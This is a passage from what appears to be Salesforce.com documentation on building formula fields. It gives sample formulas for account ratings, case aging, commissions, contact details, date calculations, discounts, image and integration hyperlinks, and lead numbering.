address, and auto-number fields. This data type is not available
for custom summary formulas in reports.

See Also:
Building Formulas
About Formulas

849
Customize About Formulas

Elements of a Formula
A formula can contain references to the values of other standard or custom fields, operators, functions, literal values, or other
formulas. Use any or all of the elements in the following table to build a formula. For more details about building formulas,
see Building Formulas on page 878.

Element Name Description


Literal Value A text string or number you enter that is not calculated or
changed. For example, if your commissions are always
calculated by 2% of an opportunity amount, your formula
would contain the literal value 2% of the opportunity amount:
ROUND((Amount*0.02), 2)

This example contains every possible part of a formula:


• A function called ROUND used to return a number
rounded to a specified number of decimal places.
• A field reference called Amount that is dynamically
replaced with the amount of an opportunity.
• An operator, *, that tells the formula builder to multiply
the contents of the Amount field by the literal value, 0.02.
• A literal number, 0.02, that represents a commission
percent. Use the decimal value for all percents. To include
actual text in your formula, enclose it in quotes.
• The last number 2 in this formula is the input required for
the ROUND function that determines the number of
decimal places to return.

Field Reference Reference the value of another custom or standard field using
a merge field. The syntax for a merge field is field_name
for a standard field or field_name__c for a custom field.
The syntax for a merge field on a related object is
object_name__r.field_name. Use the Insert Field
button or the drop-down list to insert a merge field in your
formula where necessary.
Function A system-defined formula that can require input from you
and returns a value or values. For example, TODAY() does
not require input but returns the current date. The
TEXT(value) function requires your percent, number, or
currency input and returns text.
Operator
A symbol that specifies the type of calculation to perform or
the order in which to do it. For example, the + symbol specifies
two values should be added. The open and close parentheses
specify which expressions you want evaluated first.

850
Customize About Formulas

Element Name Description


Comment An annotation within a formula that begins with a forward
slash followed by an asterisk (/*). and concludes with an
asterisk followed by a forward slash (*/). For example,

/*This is a formula comment*/

Salesforce.com ignores comments when processing a formula.


Comments are useful for explaining specific parts of a formula
to administrators viewing the formula definition. For example:

AND(
/*competitor field is required, check to see
if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types
*/
$RecordType.Name = "ABCD Opportunity",
/* checking for any closed status, such as
closed won and closed lost…allows for
additional closed picklist values in the
future */
CONTAINS(TEXT(StageName), "Closed")
)

You can also use comments to comment out sections of your


formula when debugging and checking the syntax to locate
errors in the formula.
Note:

• Nesting comments causes a syntax error. For


example, you cannot save a formula that has the
following:

/* /* comment */ */

• Commenting out a whole formula causes a syntax


error.
• Comments count against the character and byte
size limits in formulas.

See Also:
Building Formulas
Building Custom Summary Formulas
Quick Reference Guide: Formula Fields

851
Customize About Formulas

Formulas: How Do I...


Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

Common Math Calculations


• Add numbers?
• Convert text into a number?
• Divide numbers?
• Multiply numbers?
• Round numbers?
• Subtract numbers?

Common Text Functions


• Check if a field contains specified text?
• Check if a picklist field contains a specified value?
• Combine first and last names?
• Convert numbers into text?
• Create a hyperlink field?

Advanced Formulas
• Calculate Commission Amounts for Opportunities?
• Calculate a Contact’s Age?
• Set Up Round Robin Assignment of Cases or Leads?
• Set Up Opportunity Discount Rounded?

Custom Summary Formulas for Reports


• Calculate the sum of all leads that have Email Opt Out and Do Not Call fields selected?
• Calculate the difference of all Amount fields and all Discounted Amount fields on opportunities?
• Calculate the average age of all opportunities?
• Calculate what percent of all opportunities are closed won?
• Calculate the number of active Salesforce.com users to the 2nd power for administration?
• Calculate the duration of all activities (minutes) times the number of records per 24 hours?
• Calculate the average percent margin on a product-by-product level across many opportunities?
• Calculate the percentage of one product compared to all products in closed opportunities?
• Calculate the change in revenue from opportunities between months?

852
Customize About Formulas

Cross-Object Formulas
• Display the Created By field from a parent object?
• Display a Percent field from a parent object?
• Display a text field from a parent object?
• Display a phone number field from a parent object?
• Display a picklist field from a parent object?
• Display a URL field from a parent object?

Examples of Advanced Formula Fields


Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

Use the following formula samples when creating custom formula fields. For samples of other types of formulas, see Examples
of Validation Rules on page 893 and Useful Default Field Value Formulas on page 888.
This document contains the following categories of custom formula samples:

• Account Management
• Account Media Service Links
• Case Management
• Commission Calculations
• Contact Management
• Data Categorization
• Date Calculations
• Discounting
• Employee Services
• Expense Tracking
• Financial Calculations
• Image Links
• Integration Links
• Lead Management
• Metrics
• Opportunity Management
• Pricing
• Project Management

853
Customize About Formulas

• Scoring Calculations

See Also:
About Formulas
Operators and Functions
Formulas: How Do I...
Tips on Building Formulas
Quick Reference Guide: Formula Fields

Account Management

Account Rating
This formula evaluates Annual Revenue, Billing Country, and Type, and assigns a value of “Hot,” “Warm,” or “Cold.”

IF (AND (AnnualRevenue > 10000000,


CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"),
"US")),
IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot",
IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"),
ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")),
"Cold")

For details about using these functions, see IF on page 953, AND on page 942, CONTAINS on page 947, CASE on page 944,
and ISPICKVAL on page 962.
In addition, you can reference this Account Rating formula field from the contact object using cross-object formulas.
Account.Account_Rating__c

Account Region
This formula returns a text value of “North,” “South,” “East,” “West,” or “Central” based on the Billing State/Province
of the account.

IF(ISBLANK(BillingState), "None",
IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West",
IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central",
IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East",
IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South",
IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))

For details about using these functions, see IF on page 953, LEN on page 964, and CONTAINS on page 947.

Contract Aging
This formula calculates the number of days since a contract with an account was activated. If the contract Status is not
“Activated,” this field is blank.

IF(ISPICKVAL(Contract_Status__c, "Activated"),
NOW() - Contract_Activated_Date__c, null)

For details about using these functions, see IF on page 953, ISPICKVAL on page 962, and NOW on page 971.

854
Customize About Formulas

Contract Approval Process Aging


This formula calculates how many days a contract is in the approval process. This example is a number formula field on
contracts that uses a custom date field called Date in approval.
TODAY()-Date_in_approval__c
For details about using this function, see TODAY on page 980.

Month of Last Account Activity


This formula field displays the month of the last account activity or “None” if there are no activities for the account.

CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")

For details about using these functions, see CASE on page 944 and MONTH on page 970.

Month of Service-Level Agreement Expiration


This formula returns the month that your service-level agreement expires. This example uses a custom date field called SLA
Expiration Date.
MONTH(SLAExpirationDate__c)
For details about using this function, see MONTH on page 970.

Account Media Service Links

BBC™ News Search


This formula creates a link to a BBC news search site based on the Account Name.

HYPERLINK(
"http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?scope=newsifs;tab=news;q="&Name,
"BBC News")

Bloomberg™ News Search


This formula creates a link to an account's ticker symbol on the Bloomberg website.

HYPERLINK(
"http://www.bloomberg.com/apps/quote?ticker="&TickerSymbol,
"Bloomberg News")

855
Customize About Formulas

CNN™ News Search


This formula creates a link to a CNN news search site using the Account Name.

HYPERLINK(
"http://websearch.cnn.com/search/search?source=cnn&invocationType=search%2Ftop&sites=web&query="&Name,
"CNN News")

MarketWatch™ Search
This formula creates a link to an account's ticker symbol on the Marketwatch.com website.

HYPERLINK(
"http://www.marketwatch.com/tools/quotes/quotes.asp?symb="&TickerSymbol,
"Marketwatch")

Google™ Search
This formula creates a link to a Google search site using the Account Name.

HYPERLINK(
"http://www.google.com/search?en&q="&Name,
"Google")

Google News Search


This formula creates a link to a Google news search site using the Account Name.

HYPERLINK(
"http://www.google.com/news?en&q="&Name,
"Google News")

Yahoo!™ Search
This formula creates a link to a Yahoo! search site using the Account Name.

HYPERLINK(
"http://search.yahoo.com/search?p="&Name,
"Yahoo Search")

Yahoo News Search


This formula creates a link to a Yahoo! news search site using the Account Name.

HYPERLINK(
"http://news.search.yahoo.com/search/news?p="&Name,
"Yahoo News")

For details about using the function used in these formulas, see HYPERLINK on page 952.

Case Management

Autodial
This formula creates a linkable phone number field that automatically dials the phone number when clicked. In this example,
replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field,

856
Customize About Formulas

Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number
to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial.
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone, Phone)
For details about using this function, see HYPERLINK on page 952.

Case Aging (Assignments)


Use this example of a custom formula field called Days Open to display different text depending on the number of days a
case has been open:

CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

The following text is displayed:


• “Reassign” for any case open three days.
• “Assign Task” for any case open two days.
• “Maintain” for all other cases.
For details about using this function, see CASE on page 944.

Case Aging (Open Cases)


This formula calculates the number of days a case has been open. If the case is closed, it sets the result to null. Add this formula
to a related list as the sort column to quickly see which open cases have been open the longest. The formula returns zero if the
case has been open for less than 24 hours.

IF(IsClosed,
null,
NOW() - CreatedDate )

For details about using these functions, see IF on page 953 and NOW on page 971.

Case Aging (Open and Closed Cases)


This formula calculates the number of days a closed case was open or the number of days an open case has been open since
the date the case was created. The formula returns zero if the case has been open for less than 24 hours.

IF(IsClosed,
ROUND(ClosedDate - CreatedDate, 0), ROUND((NOW() - CreatedDate),0))

For details about using these functions, see IF on page 953, ROUND on page 976, and NOW on page 971.

Case Categorization
This formula displays a text value of “RED,” “YELLOW,” or “GREEN,” depending on the value of a case age custom text
field.

IF(DaysOpen__c > 20, "RED",


IF(DaysOpen__c > 10, "YELLOW",
"GREEN") )

For details about using this function, see IF on page 953.

857
Customize About Formulas

Case Data Completeness Tracking


This formula calculates the percentage of specific custom fields that contain data. The formula checks the values of two custom
number fields: Problem Num and Severity Num. If the fields are empty, the formula returns the value “0.” The formula
returns a value of “1” for each field that contains a value and multiplies this total by fifty to give you the percentage of fields
that contain data.

(IF(ISBLANK(Problem_Num__c), 0, 1) + IF(ISBLANK(Severity_Num__c ), 0,1)) * 50

For details about using these functions, see IF on page 953 and ISBLANK on page 958.

Case Due Date Calculation


This formula sets the due date of a case based on the priority. If it is high, the due date is two days after it opens. If it is
medium, the due date is five days after opening. Otherwise, the due date is seven days.

CASE (Priority,
"High", CreatedDate + 2,
"Medium",CreatedDate + 5,
CreatedDate + 7)

For details about using this function, see CASE on page 944.

Suggested Agent Prompts


This formula prompts an agent with cross-sell offers based on past purchases.

CASE(Product_Purch__c,
"Printer", "Extra toner cartridges", "Camera", "Memory cards",
"Special of the day")

For details about using this function, see CASE on page 944.

Suggested Offers
This formula suggests a product based on the support history for a computer reseller. When the Problem custom field matches
a field, the formula field returns a suggestion.

CASE(Problem__c,
"Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with
tape backup",
"")

For details about using this function, see CASE on page 944.

Commission Calculations

Commission Amounts for Opportunities


The following is a simple formula where commission is based on a flat 2% of the opportunity Amount.

IF(ISPICKVAL(StageName, "Closed Won"),


ROUND(Amount *0.02, 2), 0)

858
Customize About Formulas

This example calculates the commission amount for any opportunity that has a “Closed Won” stage. The value of this field
will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value.
For details about using these functions, see IF on page 953, ISPICKVAL on page 962, and ROUND on page 976.

Commission Deal Size


This formula calculates a commission rate based on deal size, returning a 9% commission rate for deals over 100,000 and an
8% commission rate for smaller deals.

IF(Amount > 100000, 0.09, 0.08 )

For details about using this function, see IF on page 953.

Commission Greater Than or Equal To


This formula assigns the “YES” value to opportunities with a commission greater than or equal to one million. Note, this is
a text formula field on opportunities that uses a custom currency field called Commission.
IF(Commission__c >= 1000000, "YES", "NO")
For details about using this function, see IF on page 953.

Commission Maximum
This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of
the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom
percent fields on users and assets.

MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

For details about using this function, see MAX on page 968.

Contact Management

Contact's Account Creation Date


This date formula displays the account's Created Date field on the contacts page.
Account.CreatedDate

Contact's Account Discount Percent


This percent formula displays the account's Discount Percent field on the contacts page.
Account.Discount_Percent__c

Contact's Account Name


This formula displays the standard Account Name field on the contacts page.
Account.Name

Contact's Account Phone


This formula displays the standard Account Phone field on the contacts page.

859
Customize About Formulas

Account.Phone

Contact's Account Rating


Use this formula to display the Account Rating field on the contacts page.
CASE(Account.Rating, "Hot", "Hot", "Warm", "Warm", "Cold", "Cold", "Not Rated")
For details about using this function, see CASE on page 944.

Contact's Account Website


This formula displays the standard Account Website field on the contacts page.
Account.Website
If the account website URL is long, use the HYPERLINK function to display a label such as “Click Here” instead of the
URL. For example:

IF(Account.Website="", "",
IF(
OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"),
HYPERLINK( Account.Website , "Click Here" ),
HYPERLINK( "http://" & Account.Website , "Click Here" )
)
)

This formula also adds the necessary "http://" or "https://" before a URL if neither were included in the URL field.
For details about using this function, see HYPERLINK on page 952.

Contact’s Age
Use this formula to calculate a person’s age based on a standard field called Birthdate. The person’s Birthdate is subtracted
from today’s date, which returns the number of days since the person’s Birthdate. This number is divided by the number
of days in a year and rounded down to the nearest integer.
FLOOR((TODAY()-Birthdate)/365.2425)
For details about using these functions, see FLOOR on page 950 and TODAY on page 980.

Contact's Birthday
This formula displays the value “Yes” if the contact’s birthday falls in the current calendar month.

IF (
MONTH( Birthdate) = MONTH( TODAY()), "Yes", "")

For details about using these functions, see IF on page 953, MONTH on page 970, and TODAY on page 980.

Contact Identification Numbering


This formula displays the first five characters of the contact’s last name and the last four characters of the contact’s social
security number separated by a dash. Note that this example uses a text custom field called SSN on contacts.
TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))
For details about using these functions, see TRIM on page 980, LEFT on page 964, and RIGHT on page 976.

860
Customize About Formulas

Contact Preferred Phone


This formula displays the contact’s preferred contact method in a contact related list—work phone, home phone, or mobile
phone—based on a selected option in a Preferred Phone custom picklist.

CASE(Preferred_Phone__c,
"Work", "w. " & Phone,
"Home", "h. " & HomePhone,
"Mobile", "m. " & MobilePhone,
"No Preferred Phone")

For details about using this function, see CASE on page 944.

Contact Priority
This formula assesses the importance of a contact based on the account rating and the contact's title. If the account rating is
Hot or the title starts with Executive, then the priority is high (P1). If the account rating is Warm or the title starts with VP
then the priority is medium (P2), and if the account rating is Cold then the priority is low (P3).

IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1",

IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2",

IF(ISPICKVAL(Account.Rating, "Cold"), "P3",

"P3")
)
)

Contact Yahoo! ID
This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click
the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo
Name on contacts where you can store the contact's Yahoo! Messenger ID.
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))
For details about using these functions, see HYPERLINK on page 952 and IMAGE on page 955.

Dynamic Address Formatting


This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks
where appropriate depending on the country for the account.

CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")

For details about using this function, see CASE on page 944 and BR on page 944.

861
Customize About Formulas

Telephone Country Code


This formula determines the telephone country code of a contact based on the Mailing Country of the mailing address.

CASE(MailingCountry,
"USA", "1",
"Canada", "1",
"France", "33",
"UK", "44",
"Australia", "61",
"Japan", "81",
"?")

For details about using this function, see CASE on page 944.

Unformatted Phone Number


This formula removes the parentheses and dash characters from North American phone numbers. This is necessary for some
auto-dialer software.

IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)

For details about using these functions, see IF on page 953 and MID on page 969.

Data Categorization

Deal Size Large and Small


This formula displays “Large Deal” for deals over one million dollars or “Small Deal” for deals under one million dollars.

IF(Sales_Price__c > 1000000,


"Large Deal",
"Small Deal")

For details about using this function, see IF on page 953.

Deal Size Small


This formula displays “Small” if the price and quantity are less than one. This field is blank if the asset has a price or quantity
greater than one.
IF(AND(Price<1,Quantity<1),"Small", null)
For details about using these functions, see IF on page 953 and AND on page 942.

Product Categorization
This formula checks the content of a custom text field named Product_Type and returns “Parts” for any product with the
word “part” in it. Otherwise, it returns “Service.” Note that the values are case sensitive, so if a Product_Type field contains
the text “Part” or “PART,” this formula returns “Services.”

IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

For details about using these functions, see IF on page 953 and CONTAINS on page 947.

862
Customize About Formulas

Date Calculations

Birthday in Current Year Accounting for Leap Years


This formula returns the date of a person's birthday in the current year, even if the person's birthday is on February 29th in a
leap year.

IF(AND(MONTH(Birthdate) = 2, DAY(Birthdate) = 29),


(IF(OR(MOD(YEAR(DATEVALUE(NOW())), 400) = 0, AND(MOD(YEAR(DATEVALUE(NOW())) ,4) = 0,
MOD(YEAR(DATEVALUE(NOW())), 100) <> 0)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate), DAY(Birthdate)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate + 1), 28))),
(DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate) , DAY(Birthdate))))

Day of Week (number)


This formula calculates today’s day of the week as a number (0 = Sunday, 1 = Monday, 2 = Tuesday, and so on).

MOD(TODAY() - DATE(1900, 1, 7), 7)

Similarly, this formula substitutes the TODAY() function shown in the previous example with a custom date field called Sign
Up Date. It returns the day of the week as a number for that field.

MOD(Sign_Up_Date__c - DATE(1900, 1, 7), 7)

For details about using these functions, see MOD on page 970, TODAY on page 980, and DATE on page 947.

Day of Week (text)


This formula calculates today’s day of the week and displays it as text. To determine the day of the week for a date field, use
the formula below and replace “TODAY()” with that date field.

CASE(
MOD(TODAY() - DATE(1900, 1, 7), 7),
0, "Sunday",
1, "Monday",
2, "Tuesday",
3, "Wednesday",
4, "Thursday",
5, "Friday",
6, "Saturday", "Error")

For details about using these functions, see CASE on page 944, MOD on page 970, TODAY on page 980, and DATE on page
947.

Day of Year
This formula calculates today’s numeric day of the year (a number between 1 and 365).

TODAY() – DATE(YEAR(TODAY()), 1, 1) + 1

For details about using these functions, see TODAY on page 980, DATE on page 947, and YEAR on page 986.

863
Customize About Formulas

Days Until End of Month


This formula displays the number of days between a specific date and the end of the month in which the date occurs.

IF(
MONTH(CloseDate)=12,
DATE(YEAR(CloseDate),12,31) - CloseDate,
DATE(YEAR(CloseDate),
MONTH(CloseDate)+1,1) - CloseDate-1)

For details about using these functions, see IF on page 953, MONTH on page 970, DATE on page 947, and YEAR on page
986.

Time of Day
This formula returns the time of day in Greenwich Mean Time (GMT), for example: “20:04 PM”).

MID (TEXT (Due_Date_Time__c), 12, 5)

For details about using these functions, see MID on page 969 and TEXT on page 978.

Discounting

Maintenance and Services Discount


This formula field uses two custom currency fields: Maintenance Amount and Services Amount. It displays “Discounted”
on an opportunity if its maintenance amount and services amount do not equal the opportunity Amount standard field value.
Otherwise, it displays "Full Price."

IF(Maintenance_Amount__c + Services_Amount__c <> Amount,


"Discounted",
"Full Price")

For details about using this function, see IF on page 953.

Opportunity Discount Amount


This formula calculates the difference of the opportunity Amount less the Discount Amount. Note that Discount Amount
is a custom currency field on opportunities.
Amount - Discount_Amount__c
For details about using this operator, see - (Subtract) on page 937.

Opportunity Discount Rounded


Use this formula to calculate the discounted amount of an opportunity rounded off to two digits. This example is a number
formula field on opportunities that uses a custom percent field called Discount Percent.
ROUND(Amount-Amount* Discount_Percent__c,2)
For details about using this function, see ROUND on page 976.

864
Customize About Formulas

Opportunity Discount with Approval


This formula adds a “Discount Approved” checkbox to an opportunity. It uses conditional logic to check the value of the
approval flag before calculating the commission.

IF(Discount_Approved__c, ROUND(Amount – Amount * DiscountPercent__c, 2), Amount)

For details about using these functions, see IF on page 953 and ROUND on page 976.

Employee Services

Bonus Calculation
This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus
percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom
number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the
employee's Gross and company's Performance.

MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

For details about using this function, see MIN on page 969.

Employee 401K
This example formula determines which amount to provide in employee 401K matching based on a matching program of half
of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution.

MIN(250, Contribution__c /2)

For details about using this function, see MIN on page 969.

Hours Worked Per Week


This formula uses a custom tab to enable time tracking of hours worked per day. It uses a formula field to sum the hours per
week.

MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c

For details about using this operator, see + (Add) on page 936.

Total Pay Amount


This formula determines total pay by calculating regular hours multiplied by a regular pay rate, plus overtime hours multiplied
by an overtime pay rate.

Total Pay =
IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c,
40 * Hourly_Rate__c +
(Total_Hours__c - 40) * Overtime_Rate__c)

For details about using this function, see IF on page 953.

865
Customize About Formulas

Expense Tracking

Expense Identifier
This formula displays the text “Expense-” followed by trip name and the expense number. This is a text formula field that
uses an expense number custom field.
"Expense-" & Trip_Name__c & "-" & ExpenseNum__c
For details about using this operator, see - (Subtract) on page 937.

Mileage Calculation
This formula calculates mileage expenses for visiting a customer site at 35 cents a mile.

Miles_Driven__c * 0.35

For details about using this operator, see * (Multiply) on page 937.

Financial Calculations

Compound Interest
This formula calculates the interest, you will have after T years, compounded M times per year.

Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )

For details about using these operators, see * (Multiply) on page 937, / (Divide) on page 937, and ^ (Exponentiation) on page
938.

Compound Interest Continuous


This formula calculates the interest that will have accumulated after T years, if continuously compounded.

Principal__c * EXP(Rate__c * T)

For details about using this function, see EXP on page 948.

Consultant Cost
This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and
consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field on opportunities.
Consulting_Days__c * 1200
For details about using this operator, see * (Multiply) on page 937.

Gross Margin
This formula provides a simple calculation of gross margin. In this formula example, Total Sales and Cost of Goods
Sold are custom currency fields.

Total_Sales__c - Cost_of_Goods_Sold__c

866
Customize About Formulas

For details about using this operator, see - (Subtract) on page 937.

Gross Margin Percent


This formula calculates the gross margin based on a margin percent.

Margin_percent__c * Items_Sold__c * Price_item__c

For details about using this operator, see * (Multiply) on page 937.

Payment Due Indicator


This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due
Date is a custom date field on contracts.
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)
For details about using this function, see BLANKVALUE on page 943.

Payment Status
This formula determines if the payment due date is past and the payment status is “UNPAID.” If so, it returns the text
“PAYMENT OVERDUE” and if not, it leaves the field blank. This example uses a custom date field called Payment Due
Date and a text custom field called Payment Status on contracts.

IF(
AND(Payment_Due_Date__c < TODAY(),
ISPICKVAL(Payment_Status__c, "UNPAID")),
"PAYMENT OVERDUE",
null )

For details about using these functions, see IF on page 953, AND on page 942, TODAY on page 980, and ISPICKVAL on
page 962.

Image Links

Yahoo! Instant Messenger™ Image


This formula displays an image that indicates whether a contact or user is currently logged in to Yahoo! Instant Messenger.
Clicking the image launches the Yahoo! Instant Messenger window. This formula uses a custom text field called Yahoo Name
to store the contact or user’s Yahoo! ID.

IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,


IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))

For details about using these functions, see IF on page 953, LEN on page 964, HYPERLINK on page 952, and IMAGE on
page 955.

867
Customize About Formulas

“Skype Me™” Auto Dialer Button


This formula displays an image that looks like a push button. Clicking the button automatically dials the specified phone
number.

HYPERLINK("callto://" & "+1" & Phone,


IMAGE("http://goodies.skype.com/graphics/skypeme_btn_small_blue.gif",
"Click to Skype"))

For details about using these functions, see HYPERLINK on page 952 and IMAGE on page 955.

Flags for Case Priority


This formula displays a green, yellow, or red flag image to indicate case priority.

IMAGE(
CASE( Priority,
"Low", "/img/samples/flag_green.gif",
"Medium", "/img/samples/flag_yellow.gif",
"High", "/img/samples/flag_red.gif",
"/s.gif"),
"Priority Flag")

For details about using this function, see IMAGE on page 955.

Color Squares for Case Age


This formula displays a 30 x 30 pixel image of a red, yellow, or green, depending on the value of a Case Age custom text
field.

IF( Case_Age__c > 20,


IMAGE("/img/samples/color_red.gif", "red", 30, 30),
IF( Case_Age__c > 10,
IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30),
IMAGE("/img/samples/color_green.gif", "green", 30, 30),
))

For details about using these functions, see IF on page 953 and IMAGE on page 955.

Traffic Lights for Status


This formula displays a green, yellow, or red traffic light images to indicate status, using a custom picklist field called Project
Status. Use this formula in list views and reports to create a “Status Summary” dashboard view.

IMAGE(
CASE(Project_Status__c,
"Green", "/img/samples/light_green.gif",
"Yellow", "/img/samples/light_yellow.gif",
"Red", "/img/samples/light_red.gif",
"/s.gif"),
"status color")

For details about using these functions, see IMAGE on page 955 and CASE on page 944.

868
Customize About Formulas

Stars for Ratings


This formula displays a set of one to five stars to indicate a rating or score.

IMAGE(
CASE(Rating__c,
"1", "/img/samples/stars_100.gif",
"2", "/img/samples/stars_200.gif",
"3", "/img/samples/stars_300.gif",
"4", "/img/samples/stars_400.gif",
"5", "/img/samples/stars_500.gif",
"/img/samples/stars_000.gif"),
"rating")

For details about using these functions, see IMAGE on page 955 and CASE on page 944.

Consumer Reports™-Style Colored Circles for Ratings


This formula displays a colored circle to indicate a rating on a scale of one to five, where solid red is one, half red is two, black
outline is three, half black is four, and solid black is five.

IMAGE(
CASE(Rating__c,
"1", "/img/samples/rating1.gif",
"2", "/img/samples/rating2.gif",
"3", "/img/samples/rating3.gif",
"4", "/img/samples/rating4.gif",
"5", "/img/samples/rating5.gif",
"/s.gif"),
"rating")

For details about using these functions, see IMAGE on page 955 and CASE on page 944.

Horizontal Bars to Indicate Scoring


This formula displays a horizontal color bar (green on a white background) of a length that is proportional to a numeric score.
In this example, the maximum length of the bar is 200 pixels.

IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) &


IMAGE("/s.gif", "white", 15,
200 - (Industry_Score__c * 2))

For details about using this function, see IMAGE on page 955.

Integration Links

Application API Link


This formula creates a link to an application outside Salesforce.com, passing the parameters so that it can connect to
Salesforce.com via the Web services API and create the necessary event.

HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name &


"action=CreateTask","Create a Meeting Request")

For details about using these functions, see HYPERLINK on page 952 and GETSESSIONID on page 952.

869
Customize About Formulas

Shipment Tracking Integration


This formula creates a link to FedEx, UPS, or DHL shipment tracking websites, depending on the value of a Shipping
Method custom picklist field. Note that the parameters shown in this example for FedEx, UPS, and DHL websites are
illustrative and do not represent the correct parameters for all situations.

CASE(Shipping_Method__c,
"Fedex",
HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype
=dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"),
"UPS",
HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion
=5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7",
"Track") ,
"DHL",
HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" & tracking_id__c,"Track"),
"")

For details about using these functions, see CASE on page 944 and HYPERLINK on page 952.

Skype Auto Dialer Integration


This formula creates a linkable phone number field that automatically dials the phone number via the Skype VOIP phone
application. It requires installation of the Skype application (a third-party product not provided by salesforce.com) on your
desktop.

HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)

For details about using this function, see HYPERLINK on page 952.

Lead Management

Lead Aging (for open leads)


This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date
and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the
lead is not open, this field is blank.
IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)
For details about using these functions, see IF on page 953, ISPICKVAL on page 962, ROUND on page 976, and NOW on
page 971.

Lead Data Completeness


This formula calculates the percent of certain lead fields that your sales personnel enter. The formula field checks the values
of two custom number fields: Phone and Email. If the fields are empty, the formula returns the value “0.” The formula returns
a value of “1” for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that
contain data.

(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50

For details about using this function, see IF on page 953.

870
Customize About Formulas

Lead Numbering
This formula returns a number value for the text value in the auto-number field Lead Number. This can be useful if you want
to use the Lead Number field in a calculation, such as round-robin or other routing purposes. Note that auto-number fields
are text fields and must be converted to a number for numeric calculations.

VALUE(Lead_Number__c)

For details about using this function, see VALUE on page 984.

Round Robin Assignment of Cases or Leads


The following formula example for leads assumes you have three lead queues and you want to assign an equal number of
incoming leads to each queue. You can also assign cases using a similar formula.
MOD(VALUE(Lead_Number__c), 3)
This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula
uses a custom auto-number field called Lead Number that assigns each lead a sequential number starting with 1. The MOD
